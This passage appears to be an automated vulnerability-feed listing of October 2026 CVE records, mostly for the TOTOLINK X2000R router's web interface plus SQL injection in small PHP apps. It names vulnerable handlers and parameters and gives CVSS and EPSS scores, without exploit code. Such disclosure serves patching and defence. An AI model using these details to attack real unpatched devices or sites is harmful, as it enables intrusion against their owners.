A stack-based buffer overflow vulnerability exists in the boa formTR069Config functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.
CVSS 9.1 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-9869).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-9869&date=2026-10-25).
Sources:
NVD CVE-2026-9869: https://nvd.nist.gov/vuln/detail/CVE-2026-9869
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-9869&date=2026-10-25
A stack-based buffer overflow vulnerability exists in the boa formTR069Config functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A arbitrary file write vulnerability exists in the boa formUploadFile functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327).
https://kevwire.com/record/CVE-2026-9827
A arbitrary file write vulnerability exists in the boa formUploadFile functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). (Oct 20, 2026).
A arbitrary file write vulnerability exists in the boa formUploadFile functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.
CVSS 9.1 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-9827).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-9827&date=2026-10-25).
Sources:
NVD CVE-2026-9827: https://nvd.nist.gov/vuln/detail/CVE-2026-9827
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-9827&date=2026-10-25
A arbitrary file write vulnerability exists in the boa formUploadFile functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A stack-based buffer overflow vulnerability exists in the boa formUploadFile functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327).
https://kevwire.com/record/CVE-2026-9817
A stack-based buffer overflow vulnerability exists in the boa formUploadFile functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). (Oct 20, 2026).
A stack-based buffer overflow vulnerability exists in the boa formUploadFile functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.
CVSS 9.1 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-9817).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-9817&date=2026-10-25).
Sources:
NVD CVE-2026-9817: https://nvd.nist.gov/vuln/detail/CVE-2026-9817
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-9817&date=2026-10-25
A stack-based buffer overflow vulnerability exists in the boa formUploadFile functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An OS command injection vulnerability exists in the boa formWizard newPass functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327).
https://kevwire.com/record/CVE-2026-9814
An OS command injection vulnerability exists in the boa formWizard newPass functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). (Oct 20, 2026).
An OS command injection vulnerability exists in the boa formWizard newPass functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.
CVSS 9.1 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-9814).
EPSS 1.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-9814&date=2026-10-25).
Sources:
NVD CVE-2026-9814: https://nvd.nist.gov/vuln/detail/CVE-2026-9814
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-9814&date=2026-10-25
An OS command injection vulnerability exists in the boa formWizard newPass functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Multiple exploitable stack-based buffer overflow vulnerabilities exist in the boa formFilter functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327).
https://kevwire.com/record/CVE-2026-9660
Multiple exploitable stack-based buffer overflow vulnerabilities exist in the boa formFilter functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). (Oct 20, 2026).
Multiple exploitable stack-based buffer overflow vulnerabilities exist in the boa formFilter functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger these vulnerabilities. This vulnerability deals with the vpnPassword parameter.
CVSS 9.1 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-9660).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-9660&date=2026-10-25).
Sources:
NVD CVE-2026-9660: https://nvd.nist.gov/vuln/detail/CVE-2026-9660
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-9660&date=2026-10-25
Multiple exploitable stack-based buffer overflow vulnerabilities exist in the boa formFilter functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger these vulnerabilities. This vulnerability deals with the vpnPassword parameter.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Multiple exploitable stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup dhcp_dns functionality of X2000R (version(s):...
https://kevwire.com/record/CVE-2026-42026
Multiple exploitable stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup dhcp_dns functionality of X2000R (version(s):... (Oct 20, 2026).
Multiple exploitable stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup dhcp_dns functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger these vulnerabilities. This vulnerability concerns the dhcp_dns2 parameter.
CVSS 9.1 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42026).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-42026&date=2026-10-25).
Sources:
NVD CVE-2026-42026: https://nvd.nist.gov/vuln/detail/CVE-2026-42026
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-42026&date=2026-10-25
Multiple exploitable stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup dhcp_dns functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger these vulnerabilities. This vulnerability concerns the dhcp_dns2 parameter.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Multiple exploitable stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup dhcp_dns functionality of X2000R (version(s):...
https://kevwire.com/record/CVE-2026-42025
Multiple exploitable stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup dhcp_dns functionality of X2000R (version(s):... (Oct 20, 2026).
Multiple exploitable stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup dhcp_dns functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger these vulnerabilities. This vulnerability concerns the dhcp_dns1 parameter.
CVSS 9.1 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42025).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-42025&date=2026-10-25).
Sources:
NVD CVE-2026-42025: https://nvd.nist.gov/vuln/detail/CVE-2026-42025
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-42025&date=2026-10-25
Multiple exploitable stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup dhcp_dns functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger these vulnerabilities. This vulnerability concerns the dhcp_dns1 parameter.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Multiple stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup static network configuration functionality of Totolink X2000R...
https://kevwire.com/record/CVE-2026-42024
Multiple stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup static network configuration functionality of Totolink X2000R... (Oct 20, 2026).
Multiple stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup static network configuration functionality of Totolink X2000R TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327. A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger these vulnerabilities. This vulnerability concerns the static_gw parameter.
CVSS 9.1 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42024).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-42024&date=2026-10-25).
Sources:
NVD CVE-2026-42024: https://nvd.nist.gov/vuln/detail/CVE-2026-42024
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-42024&date=2026-10-25
Multiple stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup static network configuration functionality of Totolink X2000R TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327. A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger these vulnerabilities. This vulnerability concerns the static_gw parameter.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Multiple stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup static network configuration functionality of Totolink X2000R...
https://kevwire.com/record/CVE-2026-42023
Multiple stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup static network configuration functionality of Totolink X2000R... (Oct 20, 2026).
Multiple stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup static network configuration functionality of Totolink X2000R TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327. A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger these vulnerabilities. This vulnerability concerns the static_ipv6 parameter.
CVSS 9.1 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42023).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-42023&date=2026-10-25).
Sources:
NVD CVE-2026-42023: https://nvd.nist.gov/vuln/detail/CVE-2026-42023
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-42023&date=2026-10-25
Multiple stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup static network configuration functionality of Totolink X2000R TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327. A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger these vulnerabilities. This vulnerability concerns the static_ipv6 parameter.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Multiple stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup static network configuration functionality of Totolink X2000R...
https://kevwire.com/record/CVE-2026-42022
Multiple stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup static network configuration functionality of Totolink X2000R... (Oct 20, 2026).
Multiple stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup static network configuration functionality of Totolink X2000R TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327. A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger these vulnerabilities. This vulnerability concerns the static_dns2 parameter.
CVSS 9.1 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42022).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-42022&date=2026-10-25).
Sources:
NVD CVE-2026-42022: https://nvd.nist.gov/vuln/detail/CVE-2026-42022
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-42022&date=2026-10-25
Multiple stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup static network configuration functionality of Totolink X2000R TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327. A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger these vulnerabilities. This vulnerability concerns the static_dns2 parameter.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Multiple stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup static network configuration functionality of Totolink X2000R...
https://kevwire.com/record/CVE-2026-42021
Multiple stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup static network configuration functionality of Totolink X2000R... (Oct 20, 2026).
Multiple stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup static network configuration functionality of Totolink X2000R TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327. A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger these vulnerabilities. This vulnerability concerns the static_dns1 parameter.
CVSS 9.1 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42021).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-42021&date=2026-10-25).
Sources:
NVD CVE-2026-42021: https://nvd.nist.gov/vuln/detail/CVE-2026-42021
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-42021&date=2026-10-25
Multiple stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup static network configuration functionality of Totolink X2000R TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327. A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger these vulnerabilities. This vulnerability concerns the static_dns1 parameter.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An os command injection vulnerability exists in the boa formWsc peerRptPin functionality of Totolink X2000R TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327.
https://kevwire.com/record/CVE-2026-35499
An os command injection vulnerability exists in the boa formWsc peerRptPin functionality of Totolink X2000R TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327. (Oct 20, 2026).
An os command injection vulnerability exists in the boa formWsc peerRptPin functionality of Totolink X2000R TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327. A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.
CVSS 9.1 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-35499).
EPSS 1.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-35499&date=2026-10-25).
Sources:
NVD CVE-2026-35499: https://nvd.nist.gov/vuln/detail/CVE-2026-35499
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-35499&date=2026-10-25
An os command injection vulnerability exists in the boa formWsc peerRptPin functionality of Totolink X2000R TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327. A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was identified in ProjectWorlds Advanced Library Management System 1.0. The affected element is the function mysqli_query of the file individual_report_search.php.
https://kevwire.com/record/CVE-2026-114263
A vulnerability was identified in ProjectWorlds Advanced Library Management System 1.0. The affected element is the function mysqli_query of the file individual_report_search.php. (Oct 21, 2026).
A vulnerability was identified in ProjectWorlds Advanced Library Management System 1.0. The affected element is the function mysqli_query of the file individual_report_search.php. Such manipulation of the argument roll_number leads to sql injection. The attack may be launched remotely. The exploit is publicly available and might be used.
CVSS 5.5 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114263).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114263&date=2026-10-25).
Sources:
NVD CVE-2026-114263: https://nvd.nist.gov/vuln/detail/CVE-2026-114263
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114263&date=2026-10-25
A vulnerability was identified in ProjectWorlds Advanced Library Management System 1.0. The affected element is the function mysqli_query of the file individual_report_search.php. Such manipulation of the argument roll_number leads to sql injection. The attack may be launched remotely. The exploit is publicly available and might be used.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A security vulnerability has been detected in oretnom23 file-management-system-php up to 2e3c1ebe60f121e8df4fb3f544f0e9591d9a01e4. Affected by this vulnerability is the function...
https://kevwire.com/record/CVE-2026-114257
A security vulnerability has been detected in oretnom23 file-management-system-php up to 2e3c1ebe60f121e8df4fb3f544f0e9591d9a01e4. Affected by this vulnerability is the function... (Oct 21, 2026).
A security vulnerability has been detected in oretnom23 file-management-system-php up to 2e3c1ebe60f121e8df4fb3f544f0e9591d9a01e4. Affected by this vulnerability is the function readfile of the file download.php of the component File Download. Such manipulation of the argument ID leads to sql injection. The attack may be performed from remote. The exploit has been disclosed publicly and may be used. This product utilizes a rolling release system for continuous delivery, and as such, version information for affected or updated releases is not disclosed. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 5.5 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114257).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114257&date=2026-10-25).
Sources:
NVD CVE-2026-114257: https://nvd.nist.gov/vuln/detail/CVE-2026-114257
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114257&date=2026-10-25
A security vulnerability has been detected in oretnom23 file-management-system-php up to 2e3c1ebe60f121e8df4fb3f544f0e9591d9a01e4. Affected by this vulnerability is the function readfile of the file download.php of the component File Download. Such manipulation of the argument ID leads to sql injection. The attack may be performed from remote. The exploit has been disclosed publicly and may be used. This product utilizes a rolling release system for continuous delivery, and as such, version information for affected or updated releases is not disclosed. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was identified in oretnom23 file-management-system-php up to 2e3c1ebe60f121e8df4fb3f544f0e9591d9a01e4. This affects the function Login of the file admin_class.php.
https://kevwire.com/record/CVE-2026-114254
A vulnerability was identified in oretnom23 file-management-system-php up to 2e3c1ebe60f121e8df4fb3f544f0e9591d9a01e4. This affects the function Login of the file admin_class.php. (Oct 21, 2026).
A vulnerability was identified in oretnom23 file-management-system-php up to 2e3c1ebe60f121e8df4fb3f544f0e9591d9a01e4. This affects the function Login of the file admin_class.php. The manipulation of the argument username/password leads to sql injection. Remote exploitation of the attack is possible. The exploit is publicly available and might be used. This product follows a rolling release approach for continuous delivery, so version details for affected or updated releases are not provided. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 5.5 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114254).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114254&date=2026-10-25).
Sources:
NVD CVE-2026-114254: https://nvd.nist.gov/vuln/detail/CVE-2026-114254
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114254&date=2026-10-25
A vulnerability was identified in oretnom23 file-management-system-php up to 2e3c1ebe60f121e8df4fb3f544f0e9591d9a01e4. This affects the function Login of the file admin_class.php. The manipulation of the argument username/password leads to sql injection. Remote exploitation of the attack is possible. The exploit is publicly available and might be used. This product follows a rolling release approach for continuous delivery, so version details for affected or updated releases are not provided. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Unsigned Firmware vulnerability exists in the boa Firmware Update functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327).
https://kevwire.com/record/CVE-2026-10141
A Unsigned Firmware vulnerability exists in the boa Firmware Update functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). (Oct 20, 2026).
A Unsigned Firmware vulnerability exists in the boa Firmware Update functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted firmware binary can lead to arbitrary firmware update. An attacker can make an authenticated HTTP request to trigger this vulnerability.
CVSS 9.1 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-10141).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-10141&date=2026-10-25).
Sources:
NVD CVE-2026-10141: https://nvd.nist.gov/vuln/detail/CVE-2026-10141
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-10141&date=2026-10-25
A Unsigned Firmware vulnerability exists in the boa Firmware Update functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted firmware binary can lead to arbitrary firmware update. An attacker can make an authenticated HTTP request to trigger this vulnerability.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A stack-based buffer overflow vulnerability exists in the Mcli functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327).
https://kevwire.com/record/CVE-2026-10139
A stack-based buffer overflow vulnerability exists in the Mcli functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). (Oct 20, 2026).
A stack-based buffer overflow vulnerability exists in the Mcli functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.
CVSS 9.1 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-10139).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-10139&date=2026-10-25).
Sources:
NVD CVE-2026-10139: https://nvd.nist.gov/vuln/detail/CVE-2026-10139
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-10139&date=2026-10-25
A stack-based buffer overflow vulnerability exists in the Mcli functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A OS command injection vulnerability exists in the boa formUpload() functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327).
https://kevwire.com/record/CVE-2026-10138
A OS command injection vulnerability exists in the boa formUpload() functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). (Oct 20, 2026).
